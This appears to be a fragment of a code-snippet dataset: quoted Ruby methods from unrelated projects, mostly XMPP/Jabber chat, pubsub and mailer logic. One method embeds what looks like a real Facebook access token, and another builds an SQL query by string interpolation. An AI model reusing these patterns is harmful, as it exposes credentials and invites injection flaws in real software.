##{tid} assigned to yourself.\"\n\t\t\t\telse\n\t\t\t\t\tnick = @user.getNick uid\n\t\t\t\t\t\"This ticket is already assigned to #{nick}\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t\"There is no such ticket.\"\n\t\t\tend\n\n\t\t# Delete ticket by id\n\t\twhen /^del(ete)? ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\t\t\tdeleted = @ticket.delete tid\n\t\t\tif deleted\n\t\t\t\tmsg = \"Ticket ##{tid} has been deleted.\"\n\t\t\telse\n\t\t\t\tmsg = \"There is no such ticket.\"\n\t\t\tend\n\t\t\tmsg\n\n\t\t# Close a ticket\n\t\twhen /^close ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\n\t\t\tif @ticket.exists? tid\n\t\t\t\tclosed = @ticket.updateStatus tid, \"closed\"\n\t\t\t\tmsg = \"Ticked ##{tid} has been closed.\" \n\t\t\telse\n\t\t\t\tmsg = \"There is no such ticket.\"\n\t\t\tend\n\t\t\tmsg\n\n\t\t# update nr status \"Followup text\"\n\t\twhen /^update ([0-9]+) ([a-zA-Z0-9]+) \\\"([a-zA-Z0-9 ]+)\\\"$/\n\t\t\tputs \"updating a ticket\"\n\t\t\t# get the ticket id\n\t\t\t# add a followup to the ticket\n\t\t\t# update the status of the ticket\n\n\t\t# Show the requesting users tickets\n\t\twhen /^m(y)?$/\n\t\t\tuid = @user.getId jid\n\t\t\ttickets = @ticket.getAssigned uid\n\n\t\t\toutput = \"Your tickets:\"\n\t\t\ttickets.each do |ticket|\n\t\t\t\ttid = ticket['id']\n\t\t\t\ttitle = ticket['title']\n\t\t\t\ttracker = ticket['tracker']\n\t\t\t\tstatus = ticket['status']\n\t\t\t\tpid = ticket['pid']\n\n\t\t\t\tmachinename = @project.getMachinename pid\n\n\t\t\t\toutput += \"\\n##{tid} [#{tracker}] <b>\\\"#{title}\\\"</b> in #{machinename} [#{status}]\"\n\t\t\tend\n\t\t\toutput = tickets.count < 1 ? \"You have no tickets assigned.\" : output\n\t\t\toutput\n\n\t\t# Show the requesting users open bugs\n\t\twhen /^m(y )?b(ugs)?$/\n\t\t\tputs \"Show bugs\"\n\n\t\t# Show the requesting users open features\n\t\twhen /^m(y )?f(eatures)?$/\n\t\t\tputs \"Show features\"\n\n\t\t# Set the status of a ticket to in_progress\n\t\twhen /^pro(gress)? ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\n\t\t\tif @ticket.exists? tid\n\t\t\t\tclosed = @ticket.updateStatus tid, \"in_progress\"\n\t\t\t\tmsg = \"Ticked ##{tid} is in progress.\" \n\t\t\telse\n\t\t\t\tmsg = \"There is no such ticket.\"\n\t\t\tend\n\t\t\tmsg\n\n\t\t# Test all methods in the project crud\n\t\twhen /^testpro$/\n\t\t\toutput = \"Testing the project methods: \"\n\n\t\t\t#add\n\t\t\tputs \"Adding new project\"\n\t\t\tid = @project.add 'testauto', 'Automated test', 'This is just an Automated test', nil, nil\n\t\t\toutput += \"\\nNew project added: #{id}\"\n\n\t\t\t#exists?\n\t\t\tputs \"Checking if project exists\"\n\t\t\texists = @project.exists? 'testauto'\n\t\t\toutput += \"\\nProject exists: #{exists}\"\n\n\t\t\t#getid\n\t\t\tputs \"Getting the projects ID\"\n\t\t\tid = @project.getId 'testauto'\n\t\t\toutput += \"\\nThe id is: #{id}\"\n\n\t\t\t#getmachine\n\t\t\tputs \"Getting the projects machinename\"\n\t\t\tmachine = @project.getMachinename id\n\t\t\toutput += \"\\nThe machinename is: #{machine}\"\n\n\t\t\t#list\n\t\t\tputs \"Getting the project list\"\n\t\t\tputs @project.getNiceList\n\n\t\t\t#delete\n\t\t\tputs \"Deleting the project by machinename\"\n\t\t\tdeleted = @project.delete machine\n\t\t\toutput += \"\\nProject deleted: #{deleted}\"\n\t\t\toutput\n\n\t\t# Test all methods in the user crud\n\t\twhen /^testuser$/\n\t\t\toutput = \"Testing the user methods:\"\n\n\t\t\t#add\n\t\t\tputs \"Adding new user\"\n\t\t\tid = @user.add 'autouser', '[email protected]', '[email protected]'\n\t\t\toutput += \"\\nNew user added: #{id}\"\n\n\t\t\t#exists\n\t\t\tputs \"Checking if user exists\"\n\t\t\texists = @user.exists? '[email protected]'\n\t\t\toutput += \"\\nUser exists: #{exists}\"\n\n\t\t\t#getid\n\t\t\tputs \"Getting the users id\"\n\t\t\tid = @user.getId '[email protected]'\n\t\t\toutput += \"\\nThe id is: #{id}\"\n\n\t\t\t#getnick\n\t\t\tputs \"Getting the users nick\"\n\t\t\tnick = @user.getNick '[email protected]'\n\t\t\toutput += \"\\nThe nick is: #{nick}\"\n\n\t\t\t#isrole\n\t\t\tputs \"Checking if the user is role admin\"\n\t\t\trole = @user.isRole? '[email protected]', 'admin'\n\t\t\toutput += \"\\nThe user is admin: #{role}\"\n\n\t\t\tputs \"Checking if the user is role user\"\n\t\t\trole = @user.isRole? '[email protected]', 'user'\n\t\t\toutput += \"\\nThe user is user: #{role}\"\n\n\t\t\t#getrole\n\t\t\tputs \"Getting the users role\"\n\t\t\trole = @user.getRole '[email protected]'\n\t\t\toutput += \"\\nThe users role: #{role}\"\n\n\t\t\t#delete\n\t\t\tputs \"Deleting the user\"\n\t\t\tdeleted = @user.delete 'autouser'\n\t\t\toutput += \"\\nUser deleted: #{deleted}\"\n\t\t\toutput\n\n\t\t# Test all methods in the ticket crud\n\t\twhen /^testticket$/\n\t\t\toutput = \"Testing the ticket methods:\"\n\n\t\t\t#add\n\t\t\tputs \"Adding new ticket\"\n\t\t\tid = @ticket.add 69, \"Automated ticket\", \"this is just an automated ticket\", \"1\", \"bug\"\n\t\t\toutput += \"\\nNew ticket added: #{id}\"\n\n\t\t\t#check if exists id\n\t\t\tputs \"Checking if ticket exists\"\n\t\t\texists = @ticket.exists? id\n\t\t\toutput += \"\\nTicket exists: #{exists}\"\n\n\t\t\t#assign\n\t\t\tputs \"Assigning ticket\"\n\t\t\tassigned = @ticket.assign id, 1\n\t\t\toutput += \"\\nAssigned ticket #{id}: #{assigned}\"\n\n\t\t\t#change status\n\t\t\tputs \"Updating Status\"\n\t\t\tupdated = @ticket.updateStatus id, \"blub\"\n\t\t\toutput += \"\\nUpdated status: #{updated}\"\n\n\t\t\t#get status\n\t\t\tputs \"Getting Status\"\n\t\t\tstatus = @ticket.getStatus id\n\t\t\toutput += \"\\nStatus: #{status}\"\n\n\t\t\t#check if assigned\n\t\t\tputs \"Checking if assigned\"\n\t\t\tassigned = @ticket.assigned? id\n\t\t\toutput += \"\\nAssigned: #{assigned}\"\n\n\t\t\t#unassign\n\t\t\tputs \"Unassigning ticket\"\n\t\t\tunassigned = @ticket.unassign id\n\t\t\toutput += \"\\nUnasigned: #{unassigned}\"\n\n\t\t\t#check if assigned\n\t\t\tputs \"Checking if assigned\"\n\t\t\tassigned = @ticket.assigned? id\n\t\t\toutput += \"\\nAssigned: #{assigned}\"\n\n\t\t\t#delete\n\t\t\tputs \"Deleting ticket\"\n\t\t\tdeleted = @ticket.delete id\n\t\t\toutput += \"\\nTicket deleted: #{deleted}\"\t\t\n\n\t\twhen /^sleep$/\n\t\t\tsleep 20\n\t\t\t\"Returned from sleeping\"\n\n\t\twhen /^time$/\n\t\t\tTime.now.localtime.to_s\n\n\t\twhen /^ping$/\n\t\t\t\"pong\"\n\n\t\twhen /^help$/\n\t\t\thelp\n\n\t\telse\n\t\t\t\"Command not recognized: '#{command}'\"\n\n\t\tend\n\tend",
"def subscribe_and_configure(form)\n subscribee = connection.jid.bare\n\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('subscribe','node' => node_id, 'jid'=>subscribee),\n x('options',\n connection.build_submit_form(form)\n )\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def sendStanza(client_info, xml)\n Thread.new{\n client = connect(client_info)#Client.new(JID.new(client_info[:id]))\n #client.connect\n #client.auth(client_info[:psword])\n #client.send(Jabber::Presence.new.set_type(:available))\n begin\n Timeout::timeout(5) {\n client.send_with_id(xml)\n puts \"Stanza sent (1)\"\n }\n rescue Exception => t\n puts t.to_s\n end\n puts \"Stanza sent (2)\"\n }\n end",
"def handle(jid)\n end",
"def connect\n debug \"setting up.. jid #{base.config[:account_jid]}\" \n cl = Jabber::Client.new(Jabber::JID::new(base.config[:account_jid]))\n @client = cl\n begin\n debug \"connect\"\n cl.connect \n debug \"auth\"\n cl.auth base.config[:account_password]\n # XXX should catch only proper exception types (including Jabber::ClientAuthenticationFailure)\n rescue Exception => ex \n debug \"EX: #{ex.class} \"\n debug ex.backtrace\n @base.auth_failure \n end\n \n @roster = Jabber::Roster::Helper.new cl \n @roster.add_presence_callback do |item,oldpres,pres|\n pres = Jabber::Presence.new unless pres\n oldpres = Jabber::Presence.new unless oldpres \n status = pres.status.to_s\n presence = pres.show || :available\n jid = item.jid\n # XXX unavaliable\n presence = :unavailable if pres.status.to_s == 'unavailable'\n debug \"item #{jid} chaged presence to #{presence} status #{status}\"\n base.item_presence_change(jid.to_s,presence,status)\n end\n \n @base.roster_items = get_roster_items\n\n @client.send Jabber::Presence.new\n \n set_presence\n\n cl.add_message_callback do |m|\n if m.type != :error\n debug \"message received from #{m.from} type #{m.type}\"\n @base.message_received(m.from.to_s,m.body)\n end\n end\n end",
"def send_data(databuf)\n if active?\n msg = Message.new\n msg.from = @my_jid\n msg.to = @peer_jid\n\n data = msg.add REXML::Element.new('data')\n data.add_namespace NS_IBB\n data.attributes['sid'] = @session_id\n data.attributes['seq'] = @seq_send.to_s\n data.text = Base64::encode64(databuf)\n\n # TODO: Implement AMP correctly\n amp = msg.add REXML::Element.new('amp')\n amp.add_namespace 'http://jabber.org/protocol/amp'\n deliver_at = amp.add REXML::Element.new('rule')\n deliver_at.attributes['condition'] = 'deliver-at'\n deliver_at.attributes['value'] = 'stored'\n deliver_at.attributes['action'] = 'error'\n match_resource = amp.add REXML::Element.new('rule')\n match_resource.attributes['condition'] = 'match-resource'\n match_resource.attributes['value'] = 'exact'\n match_resource.attributes['action'] = 'error'\n\n @stream.send(msg)\n\n @seq_send += 1\n @seq_send = 0 if @seq_send > 65535\n else\n raise 'Attempt to send data when not activated'\n end\n end",
"def send_coor_msg(pid, msg)\n buffer = $b.clone\n buffer[:type] = \"COORDINATOR\"\n buffer[:msg] = msg\n\n # najdu dalsi aktivni proces\n succ = next_pid(pid)\n while($processes[succ][:active] != true)\n succ = next_pid(succ)\n end\n\n $processes[succ][:buffer] = buffer\nend",
"def sendtofriend\n @bulletin = Bulletin.find(params[:bulletin_id])\n \n if (@bulletin.nil?)\n flash[:warning] = \"Boletín Invalido!\"\n @bulletin = Bulletin.new\n elsif (@bulletin.status == 'SSS') # != 'S'\n flash[:warning] = \"Boletín invalido!\"\n @bulletin = Bulletin.new\n elsif request.post?\n # send a copy of the boletin to the user specified\n @recipient = Recipient.new\n @recipient.email = params[:recipient][:email]\n @recipient.state = 'F' # set forced confirmation!\n pass = Recipient.generate_password\n @recipient.password = pass\n @recipient.password_confirmation = pass\n @recipient.project_id = @bulletin.project_id\n if (@recipient.save)\n BulkMailer.deliver_bulletin(@bulletin.layout, \"Fwd: \" + @bulletin.project.name + ' - ' + @bulletin.title, @recipient)\n flash[:notice] = \"Gracias. Su solicitud ha sido procesada con éxito.\"\n end\n end\n end",
"def configure_subscription(form)\n subscribee = connection.jid.bare\n\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('options',{'node' => node_id, 'jid'=>subscribee},\n connection.build_submit_form(form)\n )\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid\n client.jid\n end",
"def initialize(client, jid, pass)\n super()\n\n @error = nil\n @receiver = @client = client\n\n self.jid = jid\n @to = self.jid.domain\n @password = pass\n end",
"def sendChatMessage(a_to, a_text)\n\t\tp 'JabberClient.sendChatMessage'\n\tend",
"def set_jid(val)\n self.jid = val\n self\n end",
"def job_posted_announcer_notification(job)\n @job = job\n @user = User.find(@job.user_id)\n mail(:subject => \"Anuncio enviado com sucesso.\", :to => @user.email)# for announcer and a hide copy to admin\n end",
"def take_msg(ns, uid,ch_array, t)\n get_client(ns).take_msg(uid,ch_array, t)\n \n end",
"def wyslij(wiadomosc)\n\tproba=0\n\tbegin\n\t\tproba+=1\n\t\[email protected](wiadomosc)\n\trescue\n\t\tretry unless proba>3\n\tend\n end",
"def jid=(val)\n attributes['jid'] = val.to_s\n end",
"def update\n if params[:Titlu] && params[:Catre] && params[:Mesaj]\n #UserMailer.notification_email(User.find(get_current_user.id).email,params[:Catre], params[:Titlu], params[:Mesaj]).deliver\n end\n respond_to do |format|\n if @alegeri_user_tema.update(alegeri_user_tema_params)\n format.html { redirect_to studentiiMei_path, notice: 'Cererea a fost actualizata.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @alegeri_user_tema.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_test_message_if_changed\n old = User.find(self.id)\n if self.notify_via_jabber? and (old.jabber != self.jabber or !old.notifiable_via_jabber?)\n Notifier.send_test(self)\n self.sent_test_message = true\n end\n end",
"def setBidireccionalBuddys(userAJid,userBJid,userANick,userBNick,groupForA,groupForB)\n\taddBuddyToRoster(userAJid,userBJid,userBNick,groupForB,\"both\")\n\taddBuddyToRoster(userBJid,userAJid,userANick,groupForA,\"both\")\n\treturn \"Done\"\nend",
"def ban(jid,reason=\"no reason\",&blk)\n set_affiliation 'outcast', jid, reason, &blk\n end",
"def jid\n JID.new(subscription_node[:jid])\n end",
"def accept_subscription(&blk)\n pres = connection.presence_stanza('to'=>jid.bare, 'type' => 'subscribed')\n connection.send_stanza pres, &blk\n end",
"def update\n respond_to do |format|\n if @openfire_user.update(openfire_user_params)\n format.html { redirect_to @openfire_user, notice:'Le compte openfire a ete mis a jour avec success. Un mail contenant les nouvelles donnees a ete envoye a l\\'adresse mail indiquee' }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def fbchat\n require 'xmpp4r_facebook'\n reciever_uid = '625109503'\n sender_uid = '100007021091903'\n fbtoken = 'CAAHjh3c3ZAMQBAH9hKVAtmZBKSQ1iDijLTEg7ZBQ7TEFTREMKJGK1g7gqsKaHhL2JfEyw0YeeLUqNweuiPm5wTQ9dk7tgNUuV4uDVwxM7cPdCZBdatCGRVF2wetIx3UwICINOxvY4kwfih9MSv40BIwJdCMfyuMcXMdjsGEAKkU748GQqlT9'\n fb_app_id = Devise.omniauth_configs[:facebook].strategy[:client_id]\n fb_app_secret = Devise.omniauth_configs[:facebook].strategy[:client_secret]\n\n\n id = \"#{sender_uid}@chat.facebook.com\"\n to = \"#{reciever_uid}@chat.facebook.com\"\n body = \"Send from PAGPOS\"\n # subject = 'message from ruby'\n message = Jabber::Message.new to, body\n # message.subject = subject\n begin\n client = Jabber::Client.new Jabber::JID.new(id)\n client.connect\n authorized = Jabber::SASL::XFacebookPlatform.new(client, fb_app_id, fbtoken, fb_app_secret)\n client.auth_sasl(authorized, nil)\n client.send message \n client.close\n return render json: { success: true }\n rescue\n return render json: { success: false, message: 'Cannot authorized maybe your access token expired'}\n end\n end",
"def send_im(fromnick,tonick,message)\n return ret_fail('can not send IM to yourself') if fromnick==tonick #self-explainatory\n\n usr = User.first(:nickname=>fromnick) #find own record\n return ret_fail('own user not found') if usr == nil #must be error\n\n tousr = User.first(:nickname=>tonick)\n return ret_fail('addressee not found') if tousr == nil #must be error\n\n contact = usr.contacts.first(:userid => tousr.id)\n return ret_fail('not in list') if contact == nil #that nick is not in contact list!\n\n\n if message['type'] != 'auth_request' #Normal message\n return ret_fail('not authorized') if contact.authgiven != 't' #failure: not authorized!\n else #its an authorization request!\n return ret_fail('already given') if contact.authgiven == 't' #already has permission!\n return ret_fail('already sent') if contact.authgiven == 'p' #already sent a request!\n\n #ok... its a valid auth request... so set state to 'p' and update db record\n contact.authgiven = 'p' #awaiting to be answered\n contact.save\n end\n\n #append message to addressees message queue, update database record\n msg = tousr.messages.new\n msg.data = JSON.generate({'from'=>fromnick, 'message'=>message})\n msg.save\n\n return ret_success\nend",
"def update_user(jid, node)\n redis.publish(\"cluster:nodes:#{node}\", {\n from: @cluster.id,\n type: USER,\n jid: jid.to_s\n }.to_json)\n end",
"def update_user_from_storage(jid)\n jid = Jabber::JID.new(jid) unless jid.kind_of?(Jabber::JID)\n user = @storage.find_user_by_jid(jid.bare)\n connected_resources(jid.bare).each {|c| c.user.update_from(user) }\n end",
"def take_msg(uid,ch_array, t)\n query_msg(uid, ch_array, t, true)\n end",
"def also_receive_kroogi_notifications_for(uid)\n u = uid.is_a?(User) ? uid.id : uid\n receive_kroogi_notifications_for!(receives_kroogi_notifications_for.map(&:id) + [u])\n end",
"def jid=(val)\n attributes['jid'] = val.nil? ? nil : val.to_s\n end",
"def jid=(val)\n attributes['jid'] = val.nil? ? nil : val.to_s\n end",
"def dodaj_do_listy(*jid)\n\tkontakty(*jid) do |kontakt|\n\t\tnext if subskryp?(kontakt)\n\t\tkontakt.autoryzacja\n\tend\n end",
"def jid=(new_jid)\n Blather.logger.debug \"NEW JID: #{new_jid}\"\n @jid = JID.new new_jid\n end",
"def create\n @note = current_user.notes.build(params[:note])\n @attachids = params[:attachments].split(',')\n\n @at_users = @note.summary.scan(/@[a-zA-Z0-9_]+/)\n \n @note.summary = string_replace(3 , html_escape(@note.summary)) # repalce the string\n\n if @note.save\n @at_users.each do |at_user|\n user = User.find_by_sql(\"SELECT users.* FROM users WHERE nickname='#{at_user.from(1)}'\") #check user is exist\n if user.size == 1 #because note can not edit so the create note unexist in message table\n @message = @note.infos.create( {\n :user_id => user[0].id,\n :message => @note,\n :refer => 1\n } )\n broadcast \"/ats/new/#{@message.user_id}\", \"{ note_id: #{@note.id}, meg_type: 'at_in_note' }\"\n end\n end\n @attachids.each do |attachid|\n attach = Attachement.find(attachid)\n attach.note_id = @note.id and attach.save if not attach.nil?\n end\n\n broadcast '/notes/new', %Q/ { nickname: \"#{current_user.nickname}\", status: true } /\n\n cookies[:offset] = cookies[:offset].to_i + 1\n respond_to do |format|\n format.html { redirect_to notes_path, notice: 'Note was successfully created.' }\n format.js \n end\n else\n broadcast '/notes/new', %Q/ { status: false, errors: #{@note.errors.to_json} } /\n respond_to do |format|\n format.html { redirect_to notes_path, notice: 'Note creation was failed.' }\n format.js \n end\n end\n end",
"def send_to_jail(player)\n @spaces[get_location(player)].remove_player(player)\n @jail.add_player(player)\n return -1\n end",
"def got_PRI(message)\n if message['message'] =~ /^join/\n room = message['message'].gsub(/^join/, '').strip\n self.JCH(room)\n elsif message['message'] =~ /^lookup/\n who = message['message'].gsub(/^lookup/, '').strip\n msg = \"[b]#{who}:[/b]\\n\"\n msg += @users[who]['status'] + \"\\n\"\n msg += @users[who]['message'] \n self.PRI(message['character'], msg)\n elsif message['message'] == 'dump'\n print @users.inspect\n elsif message['message'] == 'dumproom'\n @rooms.each { |r|\n puts r\n @rooms[r]['characters'].each {|char|\n puts @users[char]\n } \n }\n elsif message['message'] =~ /^leave/\n if @friends.include? message['character']\n room = message['message'].gsub(/^leave/, '').strip\n self.LCH(room)\n else\n msg = \"I'm sorry, you're not allowed to ask me to leave that room\"\n self.PRI(message['character'], msg)\n end\n else\n msg = \"Bottlebot 1.0 by Jippen Faddoul ( http://github.com/jippen/fchat_bottlebot_ruby )\"\n msg += \"\\nCommands:\\n\"\n msg += \"join <room> - Joins a chatroom (If private, /invite the bot instead)\"\n msg += \"leave <room> - Leaves a chatroom (If private, /invite the bot instead)\"\n self.PRI(message['character'], msg)\n sleep(@msg_flood)\n end\n end",
"def beeit(pos)\r\n\tpos = 0 if pos > @bees.count - 1\r\n\t@bee = @bees[pos][:bee]\r\n\t@msg = @bees[pos][:mh]\r\n\t# This is just to provide testing ... we already did the work we needed with queen...\r\n\tp = @msg.protocols.first\r\n\t@queen = p.connect('127.0.0.1',3333)\r\n\tputs \"Sending echo test ... \"\r\n\[email protected]_echo(@queen,\"Echo test...\")\r\n\[email protected]\r\nend",
"def modify_subscriptions(subs)\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('subscriptions',{:node => node_id},\n subs.map do |s|\n x('subscription',:jid => s.jid, :subscription => s.subscription, :subid => s.sub_id)\n end\n )\n )\n )\n send_iq_stanza_fibered iq\n end",
"def initialize(jid)\n super()\n @jid = (jid.kind_of?(JID) ? jid : JID.new(jid.to_s))\n end",
"def add_user(jid)\n users << jid.to_s.downcase\n users.sort!\n users.uniq!\n end",
"def update\n @subscription.activity :params => {:composite_key => \"#{@subscription.game_id},#{@subscription.player_id}\"}\n respond_to do |format|\n if @subscription.update(subscription_params) \n format.html { redirect_to @subscription.game, notice: 'Subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def to_jid(name)\n Blather::JID.new(CGI.escape(name), stream.jid.domain).to_s.downcase\n end",
"def test_subscribe\n jid = '[email protected]'\n @roster.deliver_subscription_request(jid)\n assert_equal([jid], @roster.accepted_subscriptions)\n end",
"def repeat_jabber_confirmation\n text = AccountsMailer.jabber_confirmation(current_account).body.encoded\n Reader::ReplyJob.perform_later(text, current_user.jabber)\n redirect_to info_path, notice: t(:we_sent_you_jabber)\n end",
"def update_user_from_storage(jid)\n jid = Jabber::JID.new(jid) unless jid.kind_of?(Jabber::JID)\n user = storage(jid.domain).find_user_by_jid(jid.bare)\n router.connected_resources(jid.bare).each {|c| c.user.update_from(user) }\n end",
"def update\n\n respond_to do |format|\n if @pstaff.update(pstaff_params)\n x=true\n @id = User.all.where(\"phase1 = ?\",x)\n\n NotifyMailer.with(user: @id[0]).recive_email.deliver\n\n format.html { redirect_to @pstaff, notice: 'Pstaff was successfully updated.' }\n format.json { render :show, status: :ok, location: @pstaff }\n else\n format.html { render :edit }\n format.json { render json: @pstaff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def jid\n (a = attributes['jid']) ? JID.new(a) : nil\n end",
"def upvote(e, params)\n @messages.vote(user_hash(@message), 1) or @irc.msg(e.nick, \"SORRY YOU CAN'T VOTE ON THIS MESSAGE AGAIN\")\nend",
"def ajouterJeu( jeu )\n\t\t@jeu = jeu\n\t\[email protected]( self )\n\tend",
"def update_from_gram\n self.synced_with_gram = false\n if self.syncable?\n begin\n gram_data= GramV2Client::Account.find(self.uuid)\n self.email=gram_data.email\n self.firstname=gram_data.firstname\n self.lastname=gram_data.lastname\n self.last_gram_sync_at = Time.now\n self.hruid = gram_data.hruid\n if self.save\n self.synced_with_gram = true\n return self\n else\n return false\n end\n rescue ActiveResource::ResourceNotFound\n logger.error \"[GrAM] Utilisateur introuvable : hruid = #{self.hruid} uuid = #{self.uuid}\"\n return false\n rescue ActiveResource::ServerError\n logger.error \"[GrAM] Connexion au serveur impossible\"\n return false\n rescue ActiveResource::UnauthorizedAccess, ActiveResource::ForbiddenAccess\n logger.error \"[GrAM] Connexion au serveur impossible : verifier identifiants\"\n return false\n end\n else\n return false\n end\n\n end",
"def recipient; end",
"def send_pending; end",
"def subscribe_pubsub(domain, node, jid)\n @pubsub.subscribe(domain, node, jid)\n end",
"def subscribe_usk(uri, wait = false ,opts ={})\n id = @utils.id_generate\n send_packet @utils.packet_mangler({\"URI\" => uri, \"Identifier\" => id} ,\"SubscribeUSK\")\n id\n end",
"def meet\n # Envia pedido de que quer conhecer o animal. \n # Isto mandaria uma proposta para o dono do shelter.\n\n # TODO: É preciso criar uma tabela associativa para saber quem já mandou proposta para o animal.\n # Assim evitaria mandar proposta múltiplas vezes.\n if params[:user_id]\n # friendly_user = User.find(params[:user_id])\n friendly_user = current_user\n AnimalMailer.meet_up_proposal(@animal, friendly_user).deliver\n end\n end",
"def update\n @talk = Talk.find(params[:id])\n @new_user = User.find_by_email(params[:talk][:new_user])\n\n\n respond_to do |format|\n if @talk.update_attributes(params[:talk], :as => (admin? || @talk.user == current_user) ? :admin : :default)\n # Change to be set on e-mail request insted of directly from edit form\n if @new_user\n @talk.users << @new_user\n @talk.save\n end\n\n format.html { redirect_to :back, notice: \"Talk was successfully updated.\" }\n format.json { head :no_content }\n format.js {\n render \"update\",\n :locals => {\n :id => params[:id],\n :talk => @talk\n }\n }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @talk.errors, status: :unprocessable_entity, notice: 'Failed' }\n end\n end\n end",
"def update\n @agent = Agent.find(params[:id])\n params.delete :username\n params.delete :name\n params.delete :password\n\n respond_to do |format|\n if @agent.update_attributes(params[:agent])\n Rosteruser.update_all({:nick => @agent.name}, {:jid => \"#{@agent.username}@agent.monit.cn\"})\n flash[:notice] = \"#{@agent.name}更新成功\"\n format.html { redirect_to(@agent) }\n format.xml { head :ok }\n else\n dictionary\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @agent.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def send_code\n code = rand(1111...9999)\n if(current_user.blank?)\n return render json:{\n errors: \"true\",\n message: \"User not connected\"\n }, status: 401\n end\n logement = Logement.find(params[:logement_id])\n user = logement.user\n if user == current_user\n CoordoneBancaire.find_by(user_id:user.id).update(code:code)\n SendCodeBancaireMailer.code(user,code).deliver_now\n render json:{code:\"code envoyé\"}\n end \n \n end",
"def activity_update(email, time, user_activity )\n # @actor = user_activity.extract_object(:actor)\n # @subject_object = user_activity.extract_object(:subject)\n # \n # @secondary_subject = user_activity.extract_object(:secondary_subject)\n # @event_type = user_activity.event_type\n # @project\n extract_params(user_activity) \n @user_activity = user_activity\n \n mail( :to => email, \n :subject => \"piliPoto | Activity Update: #{time}\", \n :bcc => [\"[email protected]\"] )\n \n user_activity.mark_notification_sent \n end",
"def send_node(node)\n# node[\"from\"] = jid if !node.attributes[\"from\"] && node.attributes[\"to\"]\n send_string(node.to_xml)\n end",
"def send( a )\n\t\tbegin\n\t @jabbermsg.body = a\n \t @jabberchatroom.send( @jabbermsg )\n \trescue Jabber::ServerDisconnected\n \t\tputs \"Server disconnected. Trying reconnect\"\n \t\t@jabberReconnect = true\n \t\t@jabberRetryMessage = a\n \trescue Jabber::JabberError => e\n \t\tputs \"Error for #{e.error.to_s.inspect}\"\n \t\tputs \"Trying reconnect\"\n \t\t@jabberReconnect = true\n \t\t@jabberRetryMessage = a\n \tend\n\tend",
"def isue(packet, params)\n \t\tif params[:name] && params[:username]\n\t\t user = User.find_by_username(params[:username])\n\t\t event = Event.find_by_name(params[:name])\n\t\t if user.nil? || event.nil?\n\t\t \tpacket.data = 'KO'\n\t\t log_error(\"[isue] user #{params[:username]} or event #{params[:name]} doesn't existe\")\n\t\t else\n\t\t \tcheck = Subscriber.find_by_idUser_and_idEvent(user.id, event.id)\n\t\t if check.nil?\n\t\t \tpacket.data = 'KO'\n\t\t \tlog_error(\"[isue] the user has not been signed up to the event\")\n\t\t else\n\t\t packet.data = 'OK'\n\t\t end\n\t\t end\n\t\telse\n\t\t\tpacket.data = \"KO\"\n\t\t\tlog_error(\"[isue] name event or username is missing\")\n\t\tend\n packet\n end",
"def initialize(user, pass, opt = {})\n # parse options\n @opt = DEFAULTS.merge(opt || {})\n\n # enable debugging to stdout\n if @opt['jabber.client.debug']\n ::Jabber.debug = true\n end\n\n # FIXME: this belongs elsewhere\n Thread.abort_on_exception = false\n\n # create new jid and client\n jid = ::Jabber::JID.new(user)\n available = ::Jabber::Presence.new.set_type(:available)\n @client = ::Jabber::Client.new(jid)\n @client.connect\n\n @client.auth(pass)\n @client.send(available)\n\n roster = ::Jabber::Roster::Helper.new(@client)\n\n @client.add_message_callback do |msg|\n next unless msg.type == :chat\n fire('jabber_client_message', msg)\n end\n\n @client.add_presence_callback do |old_p, new_p|\n fire('jabber_client_presence', old_p, new_p)\n end\n\n roster.add_subscription_request_callback do |item, presence|\n from = presence.from\n\n if fire('before_jabber_client_accept_subscription', from)\n roster.accept_subscription(from)\n fire('jabber_client_accept_subscription', from)\n end\n end\n end",
"def perform(data)\n User.find(data[\"user_id\"]).update(status: false, online: false)\n ActionCable.server.broadcast 'chat_channel', content: \"qwertyuiop\"\n end",
"def join\n @user = current_user\n @mess = Mess.find(params[:id])\n @mess_id = @mess.id\n @user.update_attributes(:mess_id => @mess_id)\n redirect_to @mess\n end",
"def user_id=(user_id); @message_impl.setUserId user_id; end",
"def withdraw_auth(from, to)\n tousr = User.first(:nickname=>to)\n return ret_fail('user not found!') if tousr == nil #the user is not in the database\n\n #check the authorization state\n contact = tousr.contacts.first(:userid => User.first(:nickname=>from).id)\n return ret_fail('not in list of '+to) if contact == nil\n return ret_fail(to+' is not authorized') if contact.authgiven=='f' #nothing to withdraw\n\n #set state to f (no permission to write to \"from\")\n oldstate = contact.authgiven #save old state\n contact.authgiven = 'f'\n contact.save\n\n #append notification...\n oldstate == 'p' ? type = 'auth_deny' : type = 'auth_withdraw' #if pending -> deny, if given -> withdraw\n tousr.messages.create(:data => JSON.generate({'type'=>type, 'from'=>from}))\n\n return ret_success\nend",
"def create\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('create',:node => node_id)\n )\n )\n\n send_iq_stanza_fibered iq\n end",
